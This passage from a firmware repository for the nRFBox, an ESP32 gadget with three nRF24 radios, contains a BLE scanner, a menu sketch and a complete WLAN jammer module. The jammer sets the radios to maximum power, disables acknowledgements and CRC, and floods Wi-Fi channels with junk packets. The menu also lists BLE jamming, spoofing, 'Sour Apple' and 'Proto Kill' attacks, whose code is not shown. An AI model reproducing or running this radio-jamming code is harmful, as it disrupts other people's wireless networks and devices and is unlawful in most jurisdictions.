pinMode(BUTTON_PIN_BACK, INPUT_PULLUP); 41 | 42 | 43 | for (int cycle = 0; cycle < 3; cycle++) { 44 | for (int i = 0; i < 3; i++) { 45 | u8g2.clearBuffer(); 46 | u8g2.setFont(u8g2_font_ncenB08_tr); 47 | u8g2.drawStr(0, 10, "Scanning BLE"); 48 | 49 | String dots = ""; 50 | for (int j = 0; j <= i; j++) { 51 | dots += " ."; 52 | setNeoPixelColour("white"); 53 | } 54 | setNeoPixelColour("0"); 55 | 56 | u8g2.drawStr(75, 10, dots.c_str()); 57 | 58 | u8g2.sendBuffer(); 59 | delay(300); 60 | } 61 | } 62 | 63 | scanStartTime = millis(); 64 | scan->start(scanDuration / 1000, false); 65 | } 66 | 67 | void blescanLoop() { 68 | unsigned long currentMillis = millis(); 69 | if (currentMillis - scanStartTime >= scanDuration && !scanComplete) { 70 | scanComplete = true; 71 | results = scan->getResults(); 72 | scan->stop(); 73 | u8g2.clearBuffer(); 74 | u8g2.drawStr(0, 10, "Scan complete."); 75 | u8g2.sendBuffer(); 76 | } 77 | 78 | if (currentMillis - lastDebounce > debounce_Delay) { 79 | if (digitalRead(BUTTON_PIN_UP) == LOW) { 80 | if (selectedIndex > 0) { 81 | selectedIndex--; 82 | if (selectedIndex < displayStartIndex) { 83 | displayStartIndex--; 84 | } 85 | } 86 | lastDebounce = currentMillis; 87 | } else if (digitalRead(BUTTON_PIN_DOWN) == LOW) { 88 | if (selectedIndex < results.getCount() - 1) { 89 | selectedIndex++; 90 | if (selectedIndex >= displayStartIndex + 5) { 91 | displayStartIndex++; 92 | } 93 | } 94 | lastDebounce = currentMillis; 95 | } else if (digitalRead(BUTTON_PIN_SELECT) == LOW) { 96 | showDetails = true; 97 | lastDebounce = currentMillis; 98 | } 99 | } 100 | 101 | if (!showDetails && scanComplete) { 102 | u8g2.clearBuffer(); 103 | u8g2.setFont(u8g2_font_6x10_tr); 104 | u8g2.drawStr(0, 10, "BLE Devices:"); 105 | 106 | int deviceCount = results.getCount(); 107 | for (int i = 0; i < 5; i++) { 108 | int deviceIndex = i + displayStartIndex; 109 | if (deviceIndex >= deviceCount) break; 110 | BLEAdvertisedDevice device = results.getDevice(deviceIndex); 111 | String deviceName = device.getName().c_str(); 112 | if (deviceName.length() == 0) { 113 | deviceName = "No Name"; 114 | } 115 | String deviceInfo = deviceName.substring(0, 7) + " | RSSI " + String(device.getRSSI()); 116 | if (deviceIndex == selectedIndex) { 117 | u8g2.drawStr(0, 20 + i * 10, ">"); 118 | } 119 | u8g2.drawStr(10, 20 + i * 10, deviceInfo.c_str()); 120 | } 121 | u8g2.sendBuffer(); 122 | } 123 | 124 | if (showDetails) { 125 | BLEAdvertisedDevice device = results.getDevice(selectedIndex); 126 | u8g2.clearBuffer(); 127 | u8g2.setFont(u8g2_font_6x10_tr); 128 | u8g2.drawStr(0, 10, "Device Details:"); 129 | u8g2.setFont(u8g2_font_5x8_tr); 130 | String name = "Name: " + String(device.getName().c_str()); 131 | String address = "Addr: " + String(device.getAddress().toString().c_str()); 132 | String rssi = "RSSI: " + String(device.getRSSI()); 133 | u8g2.drawStr(0, 20, name.c_str()); 134 | u8g2.drawStr(0, 30, address.c_str()); 135 | u8g2.drawStr(0, 40, rssi.c_str()); 136 | u8g2.drawStr(0, 50, "Press LEFT to go back"); 137 | u8g2.sendBuffer(); 138 | 139 | if (digitalRead(BUTTON_PIN_BACK) == LOW) { 140 | showDetails = false; 141 | lastDebounce = currentMillis; 142 | } 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /nRFBox_V2/blescan.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef blescan_H 7 | #define blescan_H 8 | 9 | #include 10 | #include 11 | #include "neopixel.h" 12 | 13 | void blescanSetup(); 14 | void blescanLoop(); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /nRFBox_V2/jammer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "jammer.h" 8 | 9 | #define BT1 33 // channels 10 | #define BT2 26 // data rate 11 | #define BT3 27 // jamming 12 | #define BT4 25 // PA level 13 | 14 | 15 | #define CE_A 5 16 | #define CSN_A 17 17 | 18 | #define CE_B 16 19 | #define CSN_B 4 20 | 21 | #define CE_C 15 22 | #define CSN_C 2 23 | 24 | RF24 radioA(CE_A, CSN_A, 16000000); 25 | RF24 radioB(CE_B, CSN_B, 16000000); 26 | RF24 radioC(CE_C, CSN_C, 16000000); 27 | 28 | #define SCREEN_WIDTH 128 29 | #define SCREEN_HEIGHT 64 30 | 31 | 32 | const int num_channels = 64; 33 | int value[num_channels]; 34 | int valuesDisplay[32]; 35 | int channels = 1; 36 | const int num_reps = 50; 37 | bool jamming = false; 38 | const byte address[6] = "00001"; 39 | 40 | int wlanchannels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; 41 | 42 | int wifi_channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 1, 2, 3, 4, 5, 6, 7}; 43 | 44 | byte wifiGroup1[] = {1, 2, 3, 4}; 45 | byte wifiGroup2[] = {5, 6, 7, 8}; 46 | byte wifiGroup3[] = {9, 10, 11, 12}; 47 | 48 | uint8_t dataRateIndex = 0; // Index for cycling through data rates 49 | uint8_t paLevelIndex = 0; // Index for cycling through PA levels 50 | 51 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 52 | 53 | 54 | void setRadioParameters() { 55 | switch (dataRateIndex) { 56 | case 0: radioA.setDataRate(RF24_250KBPS); radioB.setDataRate(RF24_250KBPS); radioC.setDataRate(RF24_250KBPS); break; 57 | case 1: radioA.setDataRate(RF24_1MBPS); radioB.setDataRate(RF24_1MBPS); radioC.setDataRate(RF24_1MBPS); break; 58 | case 2: radioA.setDataRate(RF24_2MBPS); radioB.setDataRate(RF24_2MBPS); radioC.setDataRate(RF24_2MBPS);break; 59 | } 60 | 61 | switch (paLevelIndex) { 62 | case 0: radioA.setPALevel(RF24_PA_MIN); radioB.setPALevel(RF24_PA_MIN); radioC.setPALevel(RF24_PA_MIN); break; 63 | case 1: radioA.setPALevel(RF24_PA_LOW); radioB.setPALevel(RF24_PA_LOW); radioC.setPALevel(RF24_PA_LOW); break; 64 | case 2: radioA.setPALevel(RF24_PA_HIGH); radioB.setPALevel(RF24_PA_HIGH); radioC.setPALevel(RF24_PA_HIGH); break; 65 | case 3: radioA.setPALevel(RF24_PA_MAX); radioB.setPALevel(RF24_PA_MAX); radioC.setPALevel(RF24_PA_MAX); break; 66 | } 67 | 68 | //Serial.print("Data Rate: "); 69 | //Serial.println(dataRateIndex); 70 | //Serial.print("PA Level: "); 71 | //Serial.println(paLevelIndex); 72 | } 73 | 74 | void radioSetChannel(int channels) { 75 | radioA.setChannel(channels); 76 | radioB.setChannel(channels); 77 | radioC.setChannel(channels); 78 | } 79 | 80 | void jammer() { 81 | int methode = 1; 82 | 83 | if (methode == 1) { 84 | const char text[] = { 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 85 | 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55 }; 86 | 87 | for (int i = ((channels * 5) + 1); i < ((channels * 5) + 23); i++) { 88 | radioSetChannel(i); 89 | radioA.write(&text, sizeof(text)); 90 | radioB.write(&text, sizeof(text)); 91 | radioC.write(&text, sizeof(text)); 92 | 93 | } 94 | } 95 | 96 | else if (methode == 2) { 97 | radioSetChannel(channels); 98 | int randomIndex = random(0, sizeof(wlanchannels) / sizeof(wlanchannels[channels])); 99 | bool resultA = radioA.write(&randomIndex, sizeof(randomIndex)); 100 | bool resultB = radioB.write(&randomIndex, sizeof(randomIndex)); 101 | bool resultC = radioC.write(&randomIndex, sizeof(randomIndex)); 102 | } 103 | 104 | else if (methode == 3) { 105 | for (int i = 0; i < 22; i++) { // Jam across 22 channels 106 | int channelA = ((channels * 5) + 1) + i; 107 | int channelB = ((channels * 5) + 1) + i + 1; 108 | int channelC = ((channels * 5) + 1) + i + 2; 109 | 110 | int randomIndex = random(0, sizeof(wlanchannels) / sizeof(wlanchannels[0])); 111 | 112 | radioA.setChannel(channelA); 113 | radioB.setChannel(channelB); 114 | radioC.setChannel(channelC); 115 | 116 | radioA.write(&randomIndex, sizeof(randomIndex)); 117 | radioB.write(&randomIndex, sizeof(randomIndex)); 118 | radioC.write(&randomIndex, sizeof(randomIndex)); 119 | 120 | } 121 | } 122 | } 123 | 124 | void pressBt01() { 125 | static unsigned long last_interrupt_time = 0; 126 | unsigned long interrupt_time = millis(); 127 | if (interrupt_time - last_interrupt_time > 200) { 128 | if (channels < 14) { 129 | channels++; 130 | } else { 131 | channels = 1; 132 | } 133 | //Serial.print("Channel: "); 134 | //Serial.println(channels); 135 | } 136 | last_interrupt_time = interrupt_time; 137 | } 138 | 139 | void pressBt02() { 140 | static unsigned long last_interrupt_time = 0; 141 | unsigned long interrupt_time = millis(); 142 | if (interrupt_time - last_interrupt_time > 200) { 143 | jamming = !jamming; 144 | //Serial.println(jamming ? "Jamming started" : "Jamming stopped"); 145 | } 146 | last_interrupt_time = interrupt_time; 147 | } 148 | 149 | void pressBt03() { 150 | static unsigned long last_interrupt_time = 0; 151 | unsigned long interrupt_time = millis(); 152 | if (interrupt_time - last_interrupt_time > 200) { 153 | dataRateIndex = (dataRateIndex + 1) % 3; // Cycle through data rates 154 | setRadioParameters(); 155 | //Serial.println("Data rate changed"); 156 | } 157 | last_interrupt_time = interrupt_time; 158 | } 159 | 160 | void pressBt04() { 161 | static unsigned long last_interrupt_time = 0; 162 | unsigned long interrupt_time = millis(); 163 | if (interrupt_time - last_interrupt_time > 200) { 164 | paLevelIndex = (paLevelIndex + 1) % 4; // Cycle through power levels 165 | setRadioParameters(); 166 | //Serial.println("Power level changed"); 167 | } 168 | last_interrupt_time = interrupt_time; 169 | } 170 | 171 | void configure(RF24 &radio) { 172 | radio.begin(); 173 | radio.openWritingPipe(0xFFFFFFFFFF); 174 | radio.setAutoAck(false); 175 | radio.stopListening(); 176 | radio.setRetries(0, 0); 177 | radio.setPALevel(RF24_PA_MAX, true); 178 | radio.setDataRate(RF24_2MBPS); 179 | radio.setCRCLength(RF24_CRC_DISABLED); 180 | radio.printPrettyDetails(); 181 | } 182 | 183 | void jammerSetup(){ 184 | Serial.begin(115200); 185 | 186 | esp_bt_controller_deinit(); 187 | esp_wifi_stop(); 188 | esp_wifi_deinit(); 189 | 190 | pinMode(BT1, INPUT_PULLUP); 191 | pinMode(BT2, INPUT_PULLUP); 192 | pinMode(BT3, INPUT_PULLUP); 193 | pinMode(BT4, INPUT_PULLUP); 194 | 195 | SPI.begin(); 196 | 197 | pinMode(CE_A, OUTPUT); 198 | pinMode(CSN_A, OUTPUT); 199 | 200 | pinMode(CE_B, OUTPUT); 201 | pinMode(CSN_B, OUTPUT); 202 | 203 | pinMode(CE_C, OUTPUT); 204 | pinMode(CSN_C, OUTPUT); 205 | 206 | configure(radioA); 207 | configure(radioB); 208 | configure(radioC); 209 | 210 | //radio.begin(); 211 | setRadioParameters(); 212 | //radio.openWritingPipe(address); 213 | //radio.stopListening(); 214 | 215 | //Serial.println("Radio configured and ready"); 216 | } 217 | 218 | 219 | void jammerLoop(){ 220 | attachInterrupt(digitalPinToInterrupt(BT1), pressBt01, FALLING); 221 | attachInterrupt(digitalPinToInterrupt(BT2), pressBt02, FALLING); 222 | attachInterrupt(digitalPinToInterrupt(BT3), pressBt03, FALLING); 223 | attachInterrupt(digitalPinToInterrupt(BT4), pressBt04, FALLING); 224 | 225 | u8g2.clearBuffer(); 226 | u8g2.setFont(u8g2_font_ncenB08_tr); 227 | 228 | // Display channel 229 | u8g2.setCursor(0, 10); 230 | u8g2.print("Channel : "); 231 | u8g2.setCursor(80, 10); 232 | u8g2.print("["); 233 | u8g2.print(channels); 234 | u8g2.print("]"); 235 | 236 | // Display PA level 237 | u8g2.setCursor(0, 25); 238 | u8g2.print("PA Level: "); 239 | u8g2.setCursor(80, 25); 240 | switch (paLevelIndex) { 241 | case 0: u8g2.print("MIN"); break; 242 | case 1: u8g2.print("LOW"); break; 243 | case 2: u8g2.print("HIGH"); break; 244 | case 3: u8g2.print("MAX"); break; 245 | } 246 | 247 | // Display data rate 248 | u8g2.setCursor(0, 40); 249 | u8g2.print("Data Rate: "); 250 | u8g2.setCursor(80, 40); 251 | switch (dataRateIndex) { 252 | case 0: u8g2.print("250KBPS"); break; 253 | case 1: u8g2.print("1MBPS"); break; 254 | case 2: u8g2.print("2MBPS"); break; 255 | } 256 | 257 | u8g2.setCursor(0, 60); 258 | u8g2.print("Jamming: "); 259 | 260 | if (jamming) { 261 | u8g2.setCursor(80, 60); 262 | u8g2.print("Active "); 263 | setNeoPixelColour("red"); 264 | }else{ 265 | u8g2.setCursor(80, 60); 266 | u8g2.print("disable "); 267 | setNeoPixelColour("0"); 268 | } 269 | 270 | u8g2.sendBuffer(); 271 | 272 | //delay(50); 273 | 274 | if (jamming) { 275 | u8g2.setCursor(80, 60); 276 | u8g2.print("Active "); 277 | //Serial.println("Starting jamming on channel " + String(channels)); 278 | jammer(); 279 | } 280 | } 281 | -------------------------------------------------------------------------------- /nRFBox_V2/jammer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef jammer_H 7 | #define jammer_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "esp_bt.h" 14 | #include "esp_wifi.h" 15 | #include "neopixel.h" 16 | 17 | void jammerSetup(); 18 | void jammerLoop(); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /nRFBox_V2/nRFBox_V2.ino: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #ifdef U8X8_HAVE_HW_I2C 13 | #include 14 | #endif 15 | 16 | #include "icon.h" 17 | #include "neopixel.h" 18 | #include "setting.h" 19 | 20 | #include "scanner.h" 21 | #include "analyzer.h" 22 | #include "jammer.h" 23 | #include "blejammer.h" 24 | #include "spoofer.h" 25 | #include "sourapple.h" 26 | #include "blescan.h" 27 | #include "wifiscan.h" 28 | #include "blackout.h" 29 | 30 | 31 | #define CE_PIN_A 5 32 | #define CSN_PIN_A 17 33 | 34 | #define CE_PIN_B 16 35 | #define CSN_PIN_B 4 36 | 37 | #define CE_PIN_C 15 38 | #define CSN_PIN_C 2 39 | 40 | RF24 RadioA(CE_PIN_A, CSN_PIN_A); 41 | RF24 RadioB(CE_PIN_B, CSN_PIN_B); 42 | RF24 RadioC(CE_PIN_C, CSN_PIN_C); 43 | 44 | //U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0); // [full framebuffer, size = 1024 bytes] 45 | U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ U8X8_PIN_NONE); 46 | 47 | Adafruit_NeoPixel pixels(1, 14, NEO_GRB + NEO_KHZ800); 48 | 49 | extern uint8_t oledBrightness; 50 | 51 | 52 | const unsigned char* bitmap_icons[11] = { 53 | bitmap_icon_scanner, 54 | bitmap_icon_analyzer, 55 | bitmap_icon_jammer, 56 | bitmap_icon_kill, 57 | bitmap_icon_ble_jammer, 58 | bitmap_icon_spoofer, 59 | bitmap_icon_apple, 60 | bitmap_icon_ble, 61 | bitmap_icon_wifi, 62 | bitmap_icon_about, 63 | bitmap_icon_setting 64 | }; 65 | 66 | 67 | const int NUM_ITEMS = 11; 68 | const int MAX_ITEM_LENGTH = 20; 69 | 70 | char menu_items [NUM_ITEMS] [MAX_ITEM_LENGTH] = { 71 | { "Scanner" }, 72 | { "Analyzer" }, 73 | { "WLAN Jammer" }, 74 | { "Proto Kill" }, 75 | { "BLE Jammer" }, 76 | { "BLE Spoofer" }, 77 | { "Sour Apple" }, 78 | { "BLE Scan" }, 79 | { "WiFi Scan" }, 80 | { "About" }, 81 | { "Setting" } 82 | }; 83 | 84 | 85 | #define BUTTON_UP_PIN 26 86 | #define BUTTON_SELECT_PIN 32 87 | #define BUTTON_DOWN_PIN 33 88 | 89 | 90 | int button_up_clicked = 0; 91 | int button_select_clicked = 0; 92 | int button_down_clicked = 0; 93 | 94 | int item_selected = 0; 95 | 96 | int item_sel_previous; 97 | int item_sel_next; 98 | 99 | int current_screen = 0; 100 | 101 | 102 | void about() { 103 | u8g2.clearBuffer(); 104 | u8g2.setFont(u8g2_font_6x10_tf); 105 | u8g2.drawStr(7, 15, "CiferTech@gmail.com"); 106 | u8g2.drawStr(12, 35, "GitHub/cifertech"); 107 | u8g2.drawStr(7, 55, "instagram/cifertech"); 108 | u8g2.sendBuffer(); 109 | } 110 | 111 | void configureNrf(RF24 &radio) { 112 | radio.begin(); 113 | radio.setAutoAck(false); 114 | radio.stopListening(); 115 | radio.setRetries(0, 0); 116 | radio.setPALevel(RF24_PA_MAX, true); 117 | radio.setDataRate(RF24_2MBPS); 118 | radio.setCRCLength(RF24_CRC_DISABLED); 119 | } 120 | 121 | 122 | void setup() { 123 | 124 | neopixelSetup(); 125 | 126 | configureNrf(RadioA); 127 | configureNrf(RadioB); 128 | configureNrf(RadioC); 129 | 130 | EEPROM.begin(512); 131 | oledBrightness = EEPROM.read(1); 132 | 133 | u8g2.begin(); 134 | u8g2.setContrast(oledBrightness); 135 | u8g2.setBitmapMode(1); 136 | 137 | u8g2.clearBuffer(); 138 | 139 | u8g2.setFont(u8g2_font_ncenB14_tr); 140 | int16_t nameWidth = u8g2.getUTF8Width("nRF-BOX"); 141 | int16_t nameX = (128 - nameWidth) / 2; 142 | u8g2.setCursor(nameX, 25); 143 | u8g2.print("nRF-BOX"); 144 | 145 | u8g2.setFont(u8g2_font_ncenB08_tr); 146 | int16_t creditWidth = u8g2.getUTF8Width("by CiferTech"); 147 | int16_t creditX = (106 - creditWidth) / 2; 148 | u8g2.setCursor(creditX, 40); 149 | u8g2.print("by CiferTech"); 150 | 151 | u8g2.setFont(u8g2_font_6x10_tf); 152 | int16_t versionWidth = u8g2.getUTF8Width("v2.5.0"); 153 | int16_t versionX = (128 - versionWidth) / 2; 154 | u8g2.setCursor(versionX, 60); 155 | u8g2.print("v2.5.0"); 156 | 157 | u8g2.sendBuffer(); 158 | delay(3000); 159 | 160 | u8g2.clearBuffer(); 161 | 162 | u8g2.drawXBMP(0, 0, 128, 64, logo_cifer); 163 | 164 | u8g2.sendBuffer(); 165 | delay(250); 166 | 167 | pinMode(BUTTON_UP_PIN, INPUT_PULLUP); 168 | pinMode(BUTTON_SELECT_PIN, INPUT_PULLUP); 169 | pinMode(BUTTON_DOWN_PIN, INPUT_PULLUP); 170 | 171 | } 172 | 173 | 174 | void loop() { 175 | 176 | if (current_screen == 0) { // MENU SCREEN 177 | 178 | if ((digitalRead(BUTTON_UP_PIN) == LOW) && (button_up_clicked == 0)) { 179 | item_selected = item_selected - 1; 180 | button_up_clicked = 1; 181 | if (item_selected < 0) { 182 | item_selected = NUM_ITEMS-1; 183 | } 184 | } 185 | else if ((digitalRead(BUTTON_DOWN_PIN) == LOW) && (button_down_clicked == 0)) { 186 | item_selected = item_selected + 1; 187 | button_down_clicked = 1; 188 | if (item_selected >= NUM_ITEMS) { 189 | item_selected = 0; 190 | } 191 | } 192 | 193 | if ((digitalRead(BUTTON_UP_PIN) == HIGH) && (button_up_clicked == 1)) { 194 | button_up_clicked = 0; 195 | } 196 | if ((digitalRead(BUTTON_DOWN_PIN) == HIGH) && (button_down_clicked == 1)) { 197 | button_down_clicked = 0; 198 | } 199 | } 200 | 201 | 202 | bool callAbout = true; 203 | 204 | if ((digitalRead(BUTTON_SELECT_PIN) == LOW) && (button_select_clicked == 0)) { 205 | button_select_clicked = 1; 206 | 207 | 208 | if (current_screen == 0 && item_selected == 10) { 209 | settingSetup(); 210 | while (item_selected == 10) { 211 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 212 | if (callAbout) { 213 | settingLoop(); 214 | callAbout = false; // Toggle the state to not call about() 215 | } else { 216 | break; // Toggle the state to break the loop 217 | callAbout = true; // Reset the state for the next cycle 218 | } 219 | 220 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 221 | // Wait for the button to be released 222 | if (callAbout = true){ 223 | break; 224 | } 225 | } 226 | } 227 | } 228 | } 229 | 230 | 231 | if (current_screen == 0 && item_selected == 9) { 232 | while (item_selected == 9) { 233 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 234 | if (callAbout) { 235 | about(); 236 | callAbout = false; // Toggle the state to not call about() 237 | } else { 238 | break; // Toggle the state to break the loop 239 | callAbout = true; // Reset the state for the next cycle 240 | } 241 | 242 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 243 | // Wait for the button to be released 244 | if (callAbout = true){ 245 | break; 246 | } 247 | } 248 | } 249 | } 250 | } 251 | 252 | 253 | if (current_screen == 0 && item_selected == 8) { 254 | wifiscanSetup(); 255 | while (item_selected == 8) { 256 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 257 | wifiscanLoop(); 258 | if (callAbout) { 259 | callAbout = false; // Toggle the state to not call about() 260 | } else { 261 | break; // Toggle the state to break the loop 262 | callAbout = true; // Reset the state for the next cycle 263 | } 264 | 265 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 266 | // Wait for the button to be released 267 | 268 | if (callAbout = true){ 269 | break; 270 | } 271 | } 272 | } 273 | } 274 | } 275 | 276 | 277 | if (current_screen == 0 && item_selected == 7) { 278 | blescanSetup(); 279 | while (item_selected == 7) { 280 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 281 | blescanLoop(); 282 | if (callAbout) { 283 | callAbout = false; // Toggle the state to not call about() 284 | } else { 285 | break; // Toggle the state to break the loop 286 | callAbout = true; // Reset the state for the next cycle 287 | } 288 | 289 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 290 | // Wait for the button to be released 291 | 292 | if (callAbout = true){ 293 | break; 294 | } 295 | } 296 | } 297 | } 298 | } 299 | 300 | 301 | if (current_screen == 0 && item_selected == 6) { 302 | sourappleSetup(); 303 | while (item_selected == 6) { 304 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 305 | sourappleLoop(); 306 | if (callAbout) { 307 | callAbout = false; // Toggle the state to not call about() 308 | } else { 309 | break; // Toggle the state to break the loop 310 | callAbout = true; // Reset the state for the next cycle 311 | } 312 | 313 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 314 | // Wait for the button to be released 315 | 316 | if (callAbout = true){ 317 | break; 318 | } 319 | } 320 | } 321 | } 322 | } 323 | 324 | 325 | if (current_screen == 0 && item_selected == 5) { 326 | spooferSetup(); 327 | while (item_selected == 5) { 328 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 329 | spooferLoop(); 330 | if (callAbout) { 331 | callAbout = false; // Toggle the state to not call about() 332 | } else { 333 | break; // Toggle the state to break the loop 334 | callAbout = true; // Reset the state for the next cycle 335 | } 336 | 337 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 338 | // Wait for the button to be released 339 | 340 | if (callAbout = true){ 341 | break; 342 | } 343 | } 344 | } 345 | } 346 | } 347 | 348 | 349 | if (current_screen == 0 && item_selected == 4) { 350 | blejammerSetup(); 351 | while (item_selected == 4) { 352 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 353 | blejammerLoop(); 354 | if (callAbout) { 355 | callAbout = false; // Toggle the state to not call about() 356 | } else { 357 | break; // Toggle the state to break the loop 358 | callAbout = true; // Reset the state for the next cycle 359 | } 360 | 361 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 362 | // Wait for the button to be released 363 | 364 | if (callAbout = true){ 365 | break; 366 | } 367 | } 368 | } 369 | } 370 | } 371 | 372 | 373 | if (current_screen == 0 && item_selected == 3) { 374 | blackoutSetup(); 375 | while (item_selected == 3) { 376 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 377 | blackoutLoop(); 378 | if (callAbout) { 379 | callAbout = false; // Toggle the state to not call about() 380 | } else { 381 | break; // Toggle the state to break the loop 382 | callAbout = true; // Reset the state for the next cycle 383 | } 384 | 385 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 386 | // Wait for the button to be released 387 | 388 | if (callAbout = true){ 389 | break; 390 | } 391 | } 392 | } 393 | } 394 | } 395 | 396 | 397 | if (current_screen == 0 && item_selected == 2) { 398 | jammerSetup(); 399 | while (item_selected == 2) { 400 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 401 | jammerLoop(); 402 | if (callAbout) { 403 | callAbout = false; // Toggle the state to not call about() 404 | } else { 405 | break; // Toggle the state to break the loop 406 | callAbout = true; // Reset the state for the next cycle 407 | } 408 | 409 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 410 | // Wait for the button to be released 411 | 412 | if (callAbout = true){ 413 | break; 414 | } 415 | } 416 | } 417 | } 418 | } 419 | 420 | 421 | if (current_screen == 0 && item_selected == 1) { 422 | analyzerSetup(); 423 | while (item_selected == 1) { 424 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 425 | analyzerLoop(); 426 | if (callAbout) { 427 | callAbout = false; // Toggle the state to not call about() 428 | } else { 429 | break; // Toggle the state to break the loop 430 | callAbout = true; // Reset the state for the next cycle 431 | } 432 | 433 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 434 | // Wait for the button to be released 435 | 436 | if (callAbout = true){ 437 | break; 438 | } 439 | } 440 | } 441 | } 442 | } 443 | 444 | 445 | if (current_screen == 0 && item_selected == 0) { 446 | scannerSetup(); 447 | while (item_selected == 0) { 448 | if (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 449 | if (callAbout) { 450 | scannerLoop(); 451 | callAbout = false; // Toggle the state to not call about() 452 | } else { 453 | break; // Toggle the state to break the loop 454 | callAbout = true; // Reset the state for the next cycle 455 | } 456 | 457 | while (digitalRead(BUTTON_SELECT_PIN) == HIGH) { 458 | // Wait for the button to be released 459 | if (callAbout = true){ 460 | break; 461 | } 462 | } 463 | } 464 | } 465 | } 466 | 467 | } 468 | 469 | if ((digitalRead(BUTTON_SELECT_PIN) == HIGH) && (button_select_clicked == 1)) { 470 | button_select_clicked = 0; 471 | } 472 | 473 | 474 | item_sel_previous = item_selected - 1; 475 | if (item_sel_previous < 0) {item_sel_previous = NUM_ITEMS - 1;} 476 | item_sel_next = item_selected + 1; 477 | if (item_sel_next >= NUM_ITEMS) {item_sel_next = 0;} 478 | 479 | 480 | 481 | u8g2.clearBuffer(); 482 | 483 | if (current_screen == 0) { 484 | 485 | u8g2.drawXBMP(0, 22, 128, 21, bitmap_item_sel_outline); 486 | 487 | u8g2.setFont(u8g_font_7x14); 488 | u8g2.drawStr(25, 15, menu_items[item_sel_previous]); 489 | u8g2.drawXBMP( 4, 2, 16, 16, bitmap_icons[item_sel_previous]); 490 | 491 | u8g2.setFont(u8g_font_7x14B); 492 | u8g2.drawStr(25, 15+20+2, menu_items[item_selected]); 493 | u8g2.drawXBMP( 4, 24, 16, 16, bitmap_icons[item_selected]); 494 | 495 | u8g2.setFont(u8g_font_7x14); 496 | u8g2.drawStr(25, 15+20+20+2+2, menu_items[item_sel_next]); 497 | u8g2.drawXBMP( 4, 46, 16, 16, bitmap_icons[item_sel_next]); 498 | 499 | u8g2.drawXBMP(128-8, 0, 8, 64, bitmap_scrollbar_background); 500 | 501 | u8g2.drawBox(125, 64/NUM_ITEMS * item_selected, 3, 64/NUM_ITEMS); 502 | } 503 | 504 | u8g2.sendBuffer(); 505 | 506 | } 507 | -------------------------------------------------------------------------------- /nRFBox_V2/nRFBox_V2.ino.node32s.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/nRFBox_V2/nRFBox_V2.ino.node32s.bin -------------------------------------------------------------------------------- /nRFBox_V2/neopixel.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include "neopixel.h" 7 | #include "setting.h" 8 | #include 9 | 10 | extern Adafruit_NeoPixel pixels; 11 | 12 | void neopixelSetup() { 13 | EEPROM.begin(512); 14 | neoPixelActive = EEPROM.read(0); 15 | 16 | if (neoPixelActive) { 17 | pixels.begin(); 18 | pixels.clear(); 19 | //pixels.show(); 20 | } 21 | } 22 | 23 | void neopixelLoop(); 24 | 25 | void setNeoPixelColour(const std::string& colour) { 26 | uint32_t colorValue = 0; 27 | 28 | if (colour == "red") { 29 | colorValue = pixels.Color(5, 0, 0); 30 | } else if (colour == "green") { 31 | colorValue = pixels.Color(0, 5, 0); 32 | } else if (colour == "blue") { 33 | colorValue = pixels.Color(0, 0, 5); 34 | } else if (colour == "yellow") { 35 | colorValue = pixels.Color(5, 5, 0); 36 | } else if (colour == "purple") { 37 | colorValue = pixels.Color(5, 0, 5); 38 | } else if (colour == "cyan") { 39 | colorValue = pixels.Color(0, 5, 5); 40 | } else if (colour == "white") { 41 | colorValue = pixels.Color(5, 5, 5); 42 | } else if (colour == "null") { 43 | colorValue = pixels.Color(0, 0, 0); 44 | } 45 | 46 | pixels.setPixelColor(0, colorValue); 47 | 